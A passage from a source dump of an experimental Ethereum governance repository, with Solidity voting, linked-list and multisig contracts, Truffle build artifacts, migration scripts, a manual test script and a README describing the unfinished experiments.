} 58 | }, 59 | "schema_version": "0.0.5", 60 | "updated_at": 1500233949372 61 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a72305820c077486fdbe10cf3cf77af35fce9fa49f83d4e5ee2fc62a7b8f656bf24c42f3f0029", 63 | "networks": { 64 | "1499164187760": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0x7c88a002ee40a5a84dfa1a641d56edf4247f52b3", 68 | "updated_at": 1499169271226 69 | }, 70 | "1500131755018": { 71 | "events": {}, 72 | "links": {}, 73 | "address": "0xea70a2a914dae59b9f9cce99da8edd2d965a15f4", 74 | "updated_at": 1500233949372 75 | } 76 | }, 77 | "schema_version": "0.0.5", 78 | "updated_at": 1500233949372 79 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/build/contracts/UnrevealedLockTimes.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "UnrevealedLockTimes", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [ 7 | { 8 | "name": "self", 9 | "type": "UnrevealedLockTimes.LockTimes storage" 10 | }, 11 | { 12 | "name": "lockTime", 13 | "type": "uint256" 14 | } 15 | ], 16 | "name": "getNode", 17 | "outputs": [ 18 | { 19 | "name": "", 20 | "type": "uint256[3]" 21 | } 22 | ], 23 | "payable": false, 24 | "type": "function" 25 | } 26 | ], 27 | "unlinked_binary": "0x6060604052341561000c57fe5b5b6101b18061001c6000396000f300606060405263ffffffff60e060020a600035041663297fb2da8114610021575bfe5b61002f60043560243561006c565b604051808260608083835b80518252602083111561005a57601f19909201916020918201910161003a565b50505090500191505060405180910390f35b61007461015d565b600080610087858563ffffffff6100d316565b915084600101600085815260200190815260200160002090506060604051908101604052808360000154815260200182600101548152602001836001015481525092505b505092915050565b60006100df8383610101565b15156100eb5760006000fd5b5060008181526020839052604090205b92915050565b60008181526020839052604081205415801561012c5750600082815260208490526040902060010154155b801561014657506000808052602084905260409020548214155b15610153575060006100fb565b5060015b92915050565b6060604051908101604052806003905b600081526020019060019003908161016d57905050905600a165627a7a72305820fffc12d0b069c7ec4d2bc41937522b0726851bc15399e07796627a49e84173880029", 28 | "networks": { 29 | "1499164187760": { 30 | "events": {}, 31 | "links": {}, 32 | "address": "0xe064e05fb1cac84c10893db58077c32cee13e11b", 33 | "updated_at": 1499169271223 34 | }, 35 | "1500131755018": { 36 | "events": {}, 37 | "links": {}, 38 | "address": "0x02f3185e6bace045b00550ba9c83858632884882", 39 | "updated_at": 1500233949372 40 | } 41 | }, 42 | "schema_version": "0.0.5", 43 | "updated_at": 1500233949372 44 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/build/contracts/VoteReward.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "VoteReward", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "self", 9 | "type": "VoteReward.GroupRewardAmounts storage" 10 | }, 11 | { 12 | "name": "voterDecision", 13 | "type": "uint256" 14 | }, 15 | { 16 | "name": "voterVoteContribution", 17 | "type": "uint256" 18 | }, 19 | { 20 | "name": "totalVotesFor", 21 | "type": "uint256" 22 | }, 23 | { 24 | "name": "totalVotesAgainst", 25 | "type": "uint256" 26 | }, 27 | { 28 | "name": "totalReward", 29 | "type": "uint256" 30 | } 31 | ], 32 | "name": "getRewardAmount", 33 | "outputs": [ 34 | { 35 | "name": "", 36 | "type": "uint256" 37 | } 38 | ], 39 | "payable": false, 40 | "type": "function" 41 | } 42 | ], 43 | "unlinked_binary": "0x6060604052341561000c57fe5b5b6101bb8061001c6000396000f300606060405263ffffffff60e060020a60003504166395097a6d8114610021575bfe5b61003b60043560243560443560643560843560a43561004d565b60408051918252519081900360200190f35b60006000600060008960000154600014801561006b575060018a0154155b156100c45761007b87878761011c565b60018c01558a55858711610090576001610093565b60005b60ff1660028b01558587116100a857856100aa565b865b60038b01558587116100bc57856100be565b865b60048b01555b896002015489146100d65789546100dc565b89600101545b9250896002015489146100f35789600401546100f9565b89600301545b91508188840281151561010857fe5b0490508093505b5050509695505050505050565b60008080600181808061012f8a8a610161565b915091508260ff16818584888c03020281151561014857fe5b04029650868589030395505b5050505050935093915050565b600060008284116101725783610174565b825b91508284116101835782610185565b835b90505b92509290505600a165627a7a723058208629fa48d394a9502ec360fe7f399ef7c12198a6384de35132fdb90ad4251f0d0029", 44 | "networks": { 45 | "1499164187760": { 46 | "events": {}, 47 | "links": {}, 48 | "address": "0x2f274c5c372f07f55d9d18be1f43b5a97f7df188", 49 | "updated_at": 1499169271226 50 | }, 51 | "1500131755018": { 52 | "events": {}, 53 | "links": {}, 54 | "address": "0x569f2f5995f1dab9ab301741c58949e3d3f8d4bf", 55 | "updated_at": 1500233949372 56 | } 57 | }, 58 | "schema_version": "0.0.5", 59 | "updated_at": 1500233949372 60 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/token/ERC20Token.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract ERC20Token { 4 | // function totalSupply() constant returns (uint supply); 5 | function balanceOf( address who ) constant returns (uint value); 6 | function allowance( address owner, address spender ) constant returns (uint _allowance); 7 | 8 | function transfer( address to, uint value) returns (bool ok); 9 | function transferFrom( address from, address to, uint value) returns (bool ok); 10 | function approve( address spender, uint value ) returns (bool ok); 11 | 12 | event Transfer( address indexed from, address indexed to, uint value); 13 | event Approval( address indexed owner, address indexed spender, uint value); 14 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/vote/FeeVoteTest.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "./FeeVote.sol"; 4 | import "../token/./ERC20Token.sol"; 5 | 6 | contract FeeVoteTest { 7 | 8 | using FeeVote for FeeVote.FeeVote; 9 | 10 | FeeVote.FeeVote feeVote; 11 | 12 | function initialise(ERC20Token voteToken) { 13 | feeVote.initialise(voteToken, "Should pass?", 60, 60); 14 | } 15 | 16 | function getSealedVote(address voter, FeeVote.VoteDecision voteDecision, bytes32 salt) constant returns (bytes32) { 17 | return FeeVote.getSealedVote(voter, voteDecision, salt); 18 | } 19 | 20 | function castVote(bytes32 sealedVoteHash) { 21 | feeVote.castVote(sealedVoteHash); 22 | } 23 | 24 | function revealVote(FeeVote.VoteDecision voteDecision, bytes32 salt) { 25 | feeVote.revealVote(voteDecision, salt); 26 | } 27 | 28 | function claimReward() { 29 | feeVote.claimReward(); 30 | } 31 | 32 | function winningVote() constant returns (FeeVote.VoteDecision) { 33 | return feeVote.winningVote(); 34 | } 35 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/vote/Votes.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "./FeeVote.sol"; 4 | import "../token/./LockableVoteToken.sol"; 5 | import "./unrevealedLockTimes/UnrevealedLockTimes.sol"; 6 | 7 | // DON'T FORGET TO UNCOMMENT THE TIMED REQUIRE STATEMENTS IN THE FEEVOTE LIBRARY. 8 | // ALSO: This should become a library if exclusively used from another contract. 9 | // Otherwise msg.sender may not be the sender when this is called from another contract. 10 | // ALSO: make total supply of LockableVoteTokens MASSIVE. 11 | contract Votes { 12 | 13 | using UnrevealedLockTimes for UnrevealedLockTimes.LockTimes; 14 | using FeeVote for FeeVote.FeeVote; 15 | 16 | // Used to return voteId; 17 | event LogVoteCreated(uint voteId, string voteDescription); 18 | 19 | LockableVoteToken private voteToken; 20 | // This starts from 1 not 0 because it will be an index in a LinkedList with head and tail that is 0; 21 | uint public idCount = 1; 22 | mapping(uint => FeeVote.FeeVote) private votes; 23 | mapping(address => UnrevealedLockTimes.LockTimes) private unrevealedLockTimes; 24 | 25 | function setTokenAddress(address tokenAddress) { 26 | voteToken = LockableVoteToken(tokenAddress); 27 | } 28 | 29 | function createVote(string voteDescription, uint voteTime, uint revealTime) { 30 | votes[idCount].initialise(voteToken, voteDescription, voteTime, revealTime); 31 | LogVoteCreated(idCount, voteDescription); 32 | idCount++; 33 | } 34 | 35 | function getSealedVote(address voter, FeeVote.VoteDecision voteDecision, bytes32 salt) constant returns (bytes32) { 36 | return FeeVote.getSealedVote(voter, voteDecision, salt); 37 | } 38 | 39 | /** 40 | * @dev Cast vote with the given Id. Could fail when: 41 | * The voting period has expired 42 | * The previousLockTime is not the valid previousLockTime 43 | * 44 | * @param previousLockTime The latest lock time before the lock time at the vote with voteId. 45 | */ 46 | function castVote(uint voteId, bytes32 sealedVoteHash, uint previousLockTime) { 47 | votes[voteId].castVote(sealedVoteHash); 48 | uint voteEndTime = votes[voteId].voteEndTime; 49 | unrevealedLockTimes[msg.sender].insertVoteAtTime(previousLockTime, voteEndTime, voteId); 50 | } 51 | 52 | function revealVote(uint voteId, FeeVote.VoteDecision voteDecision, bytes32 salt) { 53 | votes[voteId].revealVote(voteDecision, salt); 54 | 55 | uint voteEndTime = votes[voteId].voteEndTime; 56 | unrevealedLockTimes[msg.sender].removeVoteAtTime(voteEndTime, voteId); 57 | 58 | if (unrevealedLockTimes[msg.sender].getEarliestUnrevealedVoteLockTime() < now) { 59 | voteToken.updateUnlockedBalance(msg.sender); 60 | } 61 | } 62 | 63 | function claimReward(uint voteId) { 64 | votes[voteId].claimReward(); 65 | } 66 | 67 | function voterEarliestTokenLockTime(address voter) constant returns (uint) { 68 | return unrevealedLockTimes[voter].getEarliestUnrevealedVoteLockTime(); 69 | } 70 | 71 | function latestPreviousLockTime(address voter, uint voteId) constant returns (uint) { 72 | uint tokenLockTime = votes[voteId].voteEndTime; 73 | return unrevealedLockTimes[voter].getLatestPreviousLockTimeForTime(tokenLockTime); 74 | } 75 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/vote/unrevealedLockTimes/LinkedList.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | // Inspired by: https://github.com/o0ragman0o/LibCLL/blob/master/LibCLL.sol 4 | library LinkedList { 5 | 6 | uint public constant HEAD_AND_TAIL = 0; 7 | 8 | struct Node { 9 | uint previousNode; 10 | uint nextNode; 11 | } 12 | 13 | struct LinkedList { 14 | mapping (uint => Node) linkedList; 15 | } 16 | 17 | // Should be a modifier, libraries can't seem to have them yet. 18 | function notHeadOrTail(uint nodeId) { 19 | if (nodeId == HEAD_AND_TAIL) throw; 20 | } 21 | 22 | function isNode(LinkedList storage self, uint nodeId) internal returns (bool) { 23 | if (self.linkedList[nodeId].previousNode == HEAD_AND_TAIL 24 | && self.linkedList[nodeId].nextNode == HEAD_AND_TAIL 25 | && self.linkedList[HEAD_AND_TAIL].previousNode != nodeId) return false; 26 | return true; 27 | } 28 | 29 | function headTailIndex() constant returns (uint) { 30 | return HEAD_AND_TAIL; 31 | } 32 | 33 | function getNode(LinkedList storage self, uint nodeId) 34 | internal 35 | constant 36 | returns (Node storage) 37 | { 38 | // Modifiers don't seem to work in libs so for now this will suffice. 39 | require(isNode(self, nodeId)); 40 | 41 | return self.linkedList[nodeId]; 42 | } 43 | 44 | function insert(LinkedList storage self, uint previousNode, uint newNode) 45 | internal 46 | { 47 | // Modifiers don't seem to work in libs so for now this will suffice. 48 | require(isNode(self, previousNode)); 49 | require(!isNode(self, newNode)); 50 | 51 | uint existingNextNode = self.linkedList[previousNode].nextNode; 52 | stitch(self, previousNode, newNode); 53 | stitch(self, newNode, existingNextNode); 54 | } 55 | 56 | function remove(LinkedList storage self, uint nodeId) 57 | internal 58 | returns (uint) 59 | { 60 | // Modifiers don't seem to work in libs so for now this will suffice. 61 | notHeadOrTail(nodeId); 62 | require(isNode(self, nodeId)); 63 | 64 | stitch(self, self.linkedList[nodeId].previousNode, self.linkedList[nodeId].nextNode); 65 | delete self.linkedList[nodeId].previousNode; 66 | delete self.linkedList[nodeId].nextNode; 67 | return nodeId; 68 | } 69 | 70 | function stitch(LinkedList storage self, uint previousNode, uint newNode) 71 | private 72 | { 73 | self.linkedList[newNode].previousNode = previousNode; 74 | self.linkedList[previousNode].nextNode = newNode; 75 | } 76 | 77 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/contracts/vote/unrevealedLockTimes/UnrevealedLockTimesTest.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "./UnrevealedLockTimes.sol"; 4 | 5 | // Contract for testing the UnrevealedLockTimes library. Serves no useful purpose. 6 | contract UnrevealedLockTimesTest { 7 | 8 | using UnrevealedLockTimes for UnrevealedLockTimes.LockTimes; 9 | 10 | UnrevealedLockTimes.LockTimes lockTimes; 11 | 12 | function getNode(uint id) constant returns (uint256[3]) { 13 | return lockTimes.getNode(id); 14 | } 15 | 16 | function insertVoteAtTime(uint latestPreviousTime, uint lockTime, uint voteId) { 17 | lockTimes.insertVoteAtTime(latestPreviousTime, lockTime, voteId); 18 | } 19 | 20 | function removeVoteAtTime(uint lockTime, uint voteId) { 21 | lockTimes.removeVoteAtTime(lockTime, voteId); 22 | } 23 | 24 | function getEarlyTime() constant returns (uint) { 25 | return lockTimes.getEarliestUnrevealedVoteLockTime(); 26 | } 27 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/fvt.js: -------------------------------------------------------------------------------- 1 | var FeeVoteTest = artifacts.require("./FeeVoteTest.sol") 2 | var StandardVoteToken = artifacts.require("./StandardVoteToken.sol") 3 | 4 | var feeVoteTest = FeeVoteTest.at(FeeVoteTest.address) 5 | var token = StandardVoteToken.at(StandardVoteToken.address) 6 | 7 | var salt = 123; 8 | 9 | // ACCOUNT BALANCES 10 | var balance = (account) => token.balanceOf(web3.eth.accounts[account]) 11 | .then(balance => console.log("Acc" + account + " balance: " + balance)) 12 | 13 | var balances = () => { 14 | balance(0) 15 | balance(1) 16 | balance(2) 17 | balance(3) 18 | token.balanceOf(FeeVoteTest.address) 19 | .then(balance => console.log("FeeVoteTest balance: " + balance)) 20 | } 21 | 22 | var transfer = (fromAccount, toAccount, value) => token.transfer(web3.eth.accounts[toAccount], value, { from: web3.eth.accounts[fromAccount] }) 23 | .then(tx => console.log(value + " transfered from " + fromAccount + " to " + toAccount)) 24 | 25 | var castVote = (account, vote) => feeVoteTest.getSealedVote(web3.eth.accounts[account], vote, salt) 26 | .then(sealedVote => feeVoteTest.castVote(sealedVote, { from: web3.eth.accounts[account] }) 27 | .then(tx => console.log("Sealed vote cast acc" + account + ": " + sealedVote))) 28 | 29 | var revealVote = (account, vote) => feeVoteTest.revealVote(vote, salt, { from: web3.eth.accounts[account] }) 30 | .then(tx => console.log("Vote revealed for acc" + account)) 31 | 32 | var claimReward = (account) => feeVoteTest.claimReward({ from: web3.eth.accounts[account] }) 33 | .then(tx => console.log("Reward claimed for acc" + account)) 34 | 35 | // WINNING VOTE 36 | // feeVoteTest.winningVote().then(vote => console.log(vote == 0 ? "FOR" : "AGAINST")) 37 | 38 | // DEBUG EVENTS 39 | // var debugEvent = feeVoteTest.Debug(); 40 | // debugEvent.watch((error, response) => { 41 | // if (!error) { 42 | // console.log("DEBUG: " + response.args.voterDecision + " " + response.args.voteContrib + " " + response.args.votesFor + " " + response.args.votesAgainst + " " + response.args.totalRe + " " + response.args.voterRewardAmount) 43 | // } else { 44 | // console.log(error) 45 | // } 46 | // debugEvent.stopWatching() 47 | // }) 48 | 49 | // var debugEvent2 = feeVoteTest.Debug2(); 50 | // debugEvent2.watch((error, response) => { 51 | // if (!error) { 52 | // console.log("DEBUG2: " + response.args.voterGroupReward + " " + response.args.voterGroupContrib + " " + response.args.voterReward) 53 | // } else { 54 | // console.log(error) 55 | // } 56 | // debugEvent2.stopWatching() 57 | // }) 58 | 59 | transfer(0, 1, 400) 60 | .then(() => transfer(0, 2, 200)) 61 | .then(() => transfer(0, 3, 100)) 62 | .then(() => castVote(0, 0)) 63 | .then(() => castVote(1, 1)) 64 | .then(() => castVote(2, 1)) 65 | .then(() => castVote(3, 0)) 66 | .then(() => revealVote(0, 0)) 67 | .then(() => revealVote(1, 1)) 68 | .then(() => revealVote(2, 1)) 69 | .then(() => revealVote(3, 0)) 70 | .then(() => claimReward(0)) 71 | .then(() => claimReward(1)) 72 | .then(() => claimReward(2)) 73 | .then(() => claimReward(3)) 74 | .then(() => balances()) 75 | 76 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var Votes = artifacts.require("./Votes.sol") 2 | var VoteToken = artifacts.require("./LockableVoteToken.sol") 3 | 4 | var UnrevealedLockTimesLib = artifacts.require("./UnrevealedLockTimes.sol") 5 | var LinkedListLib = artifacts.require("./LinkedList.sol"); 6 | var FeeVoteLib = artifacts.require("./FeeVote.sol") 7 | var VoteRewardLib = artifacts.require("./VoteReward.sol"); 8 | 9 | // FOR TESTING CONTRACTS, AUTOMATED OR MANUAL 10 | // var UnrevealedLockTimesTest = artifacts.require("./UnrevealedLockTimesTest.sol") 11 | // var FeeVoteTest = artifacts.require("./FeeVoteTest.sol") 12 | // var StandardVoteToken = artifacts.require("./StandardVoteToken.sol") 13 | // var VoteRewardLib = artifacts.require("./VoteReward.sol") 14 | 15 | module.exports = function(deployer) { 16 | // FOR FULL DEPLOYMENT 17 | deployer.deploy(LinkedListLib) 18 | deployer.link(LinkedListLib, UnrevealedLockTimesLib) 19 | deployer.link(LinkedListLib, VoteToken) 20 | deployer.link(LinkedListLib, Votes) 21 | 22 | deployer.deploy(FeeVoteLib) 23 | deployer.link(FeeVoteLib, Votes) 24 | 25 | deployer.deploy(UnrevealedLockTimesLib) 26 | deployer.link(UnrevealedLockTimesLib, Votes) 27 | 28 | deployer.deploy(VoteRewardLib) 29 | deployer.link(VoteRewardLib, Votes) 30 | 31 | deployer.deploy(Votes) 32 | .then(() => deployer.deploy(VoteToken, 2000, Votes.address)) 33 | .then(() => Votes.deployed()) 34 | .then(votes => votes.setTokenAddress(VoteToken.address)) 35 | .then(tx => console.log("Set Token Address on Votes contract: " + tx.tx)) 36 | 37 | // FOR TESTING UNREVEALED LOCK TIMES LINKED LIST 38 | // deployer.deploy(UnrevealedLockTimesLib) 39 | // deployer.link(UnrevealedLockTimesLib, UnrevealedLockTimesTest) 40 | // deployer.deploy(UnrevealedLockTimesTest) 41 | 42 | // FOR TESTING FEE VOTE LIBRARY - use exec fvt.js to go through basic vote tx's. Requires commenting 43 | // out require statements in FeeVote.sol which restrict calling of functions by time. 44 | // deployer.deploy(VoteRewardLib) 45 | // deployer.deploy(FeeVoteLib) 46 | // deployer.link(FeeVoteLib, FeeVoteTest) 47 | // deployer.link(VoteRewardLib, FeeVoteTest) 48 | // deployer.deploy(StandardVoteToken, 1000) 49 | // .then(() => deployer.deploy(FeeVoteTest)) 50 | // .then(() => StandardVoteToken.at(StandardVoteToken.address).approve(FeeVoteTest.address, 100)) 51 | // .then(() => FeeVoteTest.at(FeeVoteTest.address).initialise(StandardVoteToken.address)) 52 | } 53 | -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Governance/MultiSig/contracts/ArrayLib.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | library ArrayLib { 4 | 5 | function containsAddress(address[] storage self, address _address) returns (bool) { 6 | require(self.length > 0); 7 | 8 | for (uint i = 0; i < self.length; i++) { 9 | if (self[i] == _address) return true; 10 | } 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Governance/MultiSig/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/MultiSig/contracts/MultiSigExecutor.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "./ArrayLib.sol"; 4 | 5 | contract MultiSigExecutor { 6 | 7 | using ArrayLib for address[]; 8 | 9 | mapping(address => bool) public isSigner; 10 | address public contractToExecute; 11 | uint public threshold; 12 | address[] public signers; 13 | 14 | mapping(bytes32 => address[]) public functionsRequestedByAddresses; 15 | 16 | function MultiSigExecutor(uint threshold, address[] memory _signers, address _contractToExecute){ 17 | signers = _signers; 18 | contractToExecute = _contractToExecute; 19 | 20 | for (uint256 i = 0; i < _signers.length; i++) { 21 | isSigner[_signers[i]] = true; 22 | } 23 | } 24 | 25 | function executeTransaction(bytes functionCall) { 26 | require(isSigner[msg.sender]); 27 | bytes32 functionCallHash = keccak256(functionCall); 28 | address[] storage addressesRequested = functionsRequestedByAddresses[functionCallHash]; 29 | require(!addressesRequested.containsAddress(msg.sender)); 30 | 31 | addressesRequested.push(msg.sender); 32 | 33 | if (addressesRequested.length > threshold) { 34 | executeFunction(functionCall); 35 | addressesRequested.length = 0; 36 | } 37 | } 38 | 39 | function executeFunction(bytes functionCall) private { 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /Governance/MultiSig/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Governance/MultiSig/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /Governance/README.md: -------------------------------------------------------------------------------- 1 | # Governance 2 | 3 | Governance and voting contracts. 4 | 5 | ### Voting 6 | Basic Voting contract. It is not anonymous and the current vote tally can be observed at any time. I believe these problems can be fixed with zk-SNARKs but I don't understand them yet. There's no 'ts.js' as I tested in straight from the terminal. 7 | 8 | ### Futarchy 9 | Not really Futarchy but similar idea, maybe SchellingVote would be a better name. A vote contract which accepts ERC20 VoteTokens representing votes for or against a decision. The winning vote is put into practice and after a period of time the success of the decision is registered with the contract. People who previously contributed VoteToken's to the correct outcome can claim them back plus VoteTokens contributed to vote for the incorrect outcome proportional to their contribution. There is a 'ts.js' which can be used to test. To test, once contracts are deployed, start by transferring VoteTokens to a couple of accounts, then submitting votes, then if using testrpc a new block needs to be mined to update the 'now' constant in the contract (make a tx or something), then the test period outcome can be registered and winning participants can retrieve their VoteTokens. 10 | 11 | ### LiquidLockableVote 12 | Multi-period set of financially incentivised voting contracts with vote-reveal-claim periods. Including an ERC20 lockable vote token which is locked during the reveal period for accounts that have voted until the account reveals their vote. Multiple votes with the same end times can be created and votes cast will lock the vote token accordingly for those accounts. It includes a basic LinkedList and use of libraries. This is a variation of a voting contract inspired by: https://blog.colony.io/towards-better-ethereum-voting-protocols-7e54cb5a0119. It can be tested by executing fvt.js and un/commenting parts of the script. 13 | 14 | ### LiquidDemocracy (WIP) 15 | Attempt at implementing LiquidDemocracy, includes tests. Note that all the contracts and tests here are unfinished and require function docs and refactoring to increase readability. Currently stumbled at the point where I'm trying to copy the DelegateRegistry for new votes. 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /Misc/AragonTest/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/AragonTest/contracts/Ownable.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address public owner; 11 | 12 | 13 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 14 | 15 | 16 | /** 17 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 18 | * account. 19 | */ 20 | function Ownable() public { 21 | owner = msg.sender; 22 | } 23 | 24 | 25 | /** 26 | * @dev Throws if called by any account other than the owner. 27 | */ 28 | modifier onlyOwner() { 29 | require(msg.sender == owner); 30 | _; 31 | } 32 | 33 | 34 | /** 35 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 36 | * @param newOwner The address to transfer ownership to. 37 | */ 38 | function transferOwnership(address newOwner) public onlyOwner { 39 | require(newOwner != address(0)); 40 | OwnershipTransferred(owner, newOwner); 41 | owner = newOwner; 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /Misc/AragonTest/contracts/PayrollInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | 4 | // For the sake of simplicity lets assume USD is a ERC20 token 5 | // Also lets assume we can 100% trust the exchange rate oracle 6 | contract PayrollInterface { 7 | /* OWNER ONLY */ 8 | function addEmployee(address accountAddress, address[] allowedTokens, uint256 initialYearlyUSDSalary) public; 9 | function setEmployeeSalary(uint256 employeeId, uint256 yearlyUSDSalary) public; 10 | function removeEmployee(uint256 employeeId) public; 11 | 12 | function addFunds() public payable; 13 | function scapeHatch() public; 14 | // function addTokenFunds()? // Use approveAndCall or ERC223 tokenFallback 15 | 16 | function getEmployeeCount() public constant returns (uint256); 17 | function getEmployee(uint256 employeeId) public constant returns (address employee); // Return all important info too 18 | 19 | function calculatePayrollBurnrate() public constant returns (uint256); // Monthly usd amount spent in salaries 20 | function calculatePayrollRunway() public constant returns (uint256); // Days until the contract can run out of funds 21 | 22 | /* EMPLOYEE ONLY */ 23 | function determineAllocation(address[] tokens, uint256[] distribution) public; // only callable once every 6 months 24 | function payday() public; // only callable once a month 25 | 26 | /* ORACLE ONLY */ 27 | function setExchangeRate(address token, uint256 usdExchangeRate) public; // uses decimals from token 28 | } 29 | -------------------------------------------------------------------------------- /Misc/AragonTest/contracts/UsDollarToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "zeppelin-solidity/contracts/token/StandardToken.sol"; 4 | 5 | contract UsDollarToken is StandardToken { 6 | 7 | string public name; 8 | string public symbol; 9 | uint8 public decimals; 10 | 11 | function UsDollarToken() { 12 | name = "US Dollar"; 13 | symbol = "USD"; 14 | decimals = 18; 15 | 